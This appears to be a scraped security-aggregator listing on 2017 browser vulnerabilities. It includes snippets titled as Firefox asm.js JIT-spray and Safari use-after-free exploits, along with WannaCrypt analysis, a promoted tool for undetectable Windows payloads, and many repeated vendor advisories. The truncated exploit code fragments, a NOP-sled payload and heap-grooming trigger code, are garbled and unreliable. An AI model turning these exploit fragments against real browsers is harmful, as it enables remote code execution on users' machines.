Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution

function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0...

Firefox 50.0.1 ASM.JS JIT-Spray Remote Code Execution

function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0...

WinPayloads: Generate Undetectable Windows Payloads!

PenTestIT RSS Feed An older post of mine - MicroSploit dealt with generating backdoored documents for the Office platform. This post is about another open source framework, called WinPayloads which helps you create custom malicious payloads for the Microsoft Windows operating system. What is...

Exploring the crypt: Analysis of the WannaCrypt ransomware SMB exploit propagation

Note: Read our latest comprehensive report on ransomware: Ransomware 1H 2017 review: Global outbreaks reinforce the value of security hygiene. On May 12, there was a major outbreak of WannaCrypt ransomware. WannaCrypt directly borrowed exploit code from the ETERNALBLUE exploit and the DoublePulsa...

Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution

Sources: https://phoenhex.re/2017-06-02/arrayspread https://github.com/phoenhex/files/blob/master/exploits/spread-overflow JavaScriptCore will allocate a JSFixedArray for every spread operand of the array literal in slowpathspread. As such, roughly 4 billion JSValues will have to be allocated,...

Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution Exploit

Exploit for macOS platform in category remote exploits Sources: https://phoenhex.re/2017-06-02/arrayspread https://github.com/phoenhex/files/blob/master/exploits/spread-overflow JavaScriptCore will allocate a JSFixedArray for every spread operand of the array literal in slowpathspread. As such,...

Modified Zyklon and plugins from India

IntroductionStreams of malicious emails Talos inspects every day usually consist of active spamming campaigns for various ransomware families, phishing campaigns and the common malware family suspects such as banking Trojans and bots.. It is however often more interesting to analyze campaigns...

Threat Round-up for May 05 - May 12

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between May 05 and May 12. As with previous round-ups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavior characteristics,...

Apple Safari 10.0.3 - JSC::CachedCall Use-After-Free Exploit

Exploit for macOS platform in category remote exploits function makecompiledfunction function targetx return x5 + x - xx; // Call only once so that function gets compiled with low level interpreter // but none of the optimizing JITs target0; return target; function pwn var haxs = new Array0x100;...

Apple Safari 10.0.3 - JSC::CachedCall Use-After-Free

Apple Safari 10.0.3 - JSC::CachedCall Use-After-Free function makecompiledfunction function targetx return x5 + x - xx; // Call only once so that function gets compiled with low level interpreter // but none of the optimizing JITs target0; return target; function pwn var haxs = new Array0x100; fo...

Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free

function makecompiledfunction function targetx return x5 + x - xx; // Call only once so that function gets compiled with low level interpreter // but none of the optimizing JITs target0; return target; function pwn var haxs = new Array0x100; for var i = 0; i 0x100; ++i haxsi = new Uint8Array0x100...

Security vulnerabilities fixed in - Thunderbird 52 — Mozilla

JIT-spray targeting asm.js combined with a heap spray allows for a bypass of ASLR and DEP protections leading to potential memory corruption attacks. A crash triggerable by web content in which an ErrorResult references unassigned memory due to a logic error. The resulting crash may be exploitabl...

Updated thunderbird packages fix security vulnerability

JIT-spray targeting asm.js combined with a heap spray allows for a bypass of ASLR and DEP protections leading to potential memory corruption attacks. CVE-2017-5400 A crash triggerable by web content in which an ErrorResult references unassigned memory due to a logic error. The resulting crash may...

SUSE SLED12 / SLES12 Security Update : MozillaFirefox (SUSE-SU-2017:0714-1)

This update for MozillaFirefox to ESR 45.8 fixes the following issues: Security issues fixed bsc1028391 : - CVE-2017-5402: Use-after-free working with events in FontFace objects - CVE-2017-5410: Memory corruption during JavaScript garbage collection incremental sweeping - CVE-2017-5400: asm.js...

Mozilla: asm.js JIT-spray bypass of ASLR and DEP (MFSA 2017-06)

JIT-spray targeting asm.js combined with a heap spray allows for a bypass of ASLR and DEP protections leading to potential memory corruption attacks. This vulnerability affects Firefox 52, Firefox ESR 45.8, Thunderbird 52, and Thunderbird 45.8...

[ASA-201703-3] firefox: multiple issues

Arch Linux Security Advisory ASA-201703-3 ========================================= Severity: Critical Date : 2017-03-10 CVE-ID : CVE-2017-5398 CVE-2017-5399 CVE-2017-5400 CVE-2017-5401 CVE-2017-5402 CVE-2017-5403 CVE-2017-5404 CVE-2017-5405 CVE-2017-5406 CVE-2017-5407 CVE-2017-5408 CVE-2017-5410...

[ASA-201703-2] thunderbird: multiple issues

Arch Linux Security Advisory ASA-201703-2 ========================================= Severity: Critical Date : 2017-03-10 CVE-ID : CVE-2017-5398 CVE-2017-5400 CVE-2017-5401 CVE-2017-5402 CVE-2017-5404 CVE-2017-5405 CVE-2017-5407 CVE-2017-5408 CVE-2017-5410 Package : thunderbird Type : multiple...

Mozilla Firefox ESR < 45.8 Multiple Vulnerabilities (macOS)

The version of Mozilla Firefox ESR installed on the remote macOS or Mac OS X host is prior to 45.8. It is, therefore, affected by multiple vulnerabilities : - Mozilla developers and community members Boris Zbarsky, Christian Holler, Honza Bambas, Jon Coppeard, Randell Jesup, Andre Bargull, Kan-Ru...

Mozilla: asm.js JIT-spray bypass of ASLR and DEP (MFSA 2017-06)

JIT-spray targeting asm.js combined with a heap spray allows for a bypass of ASLR and DEP protections leading to potential memory corruption attacks. This vulnerability affects Firefox 52, Firefox ESR 45.8, Thunderbird 52, and Thunderbird 45.8...

Mozilla: asm.js JIT-spray bypass of ASLR and DEP (MFSA 2017-06)

JIT-spray targeting asm.js combined with a heap spray allows for a bypass of ASLR and DEP protections leading to potential memory corruption attacks. This vulnerability affects Firefox 52, Firefox ESR 45.8, Thunderbird 52, and Thunderbird 45.8...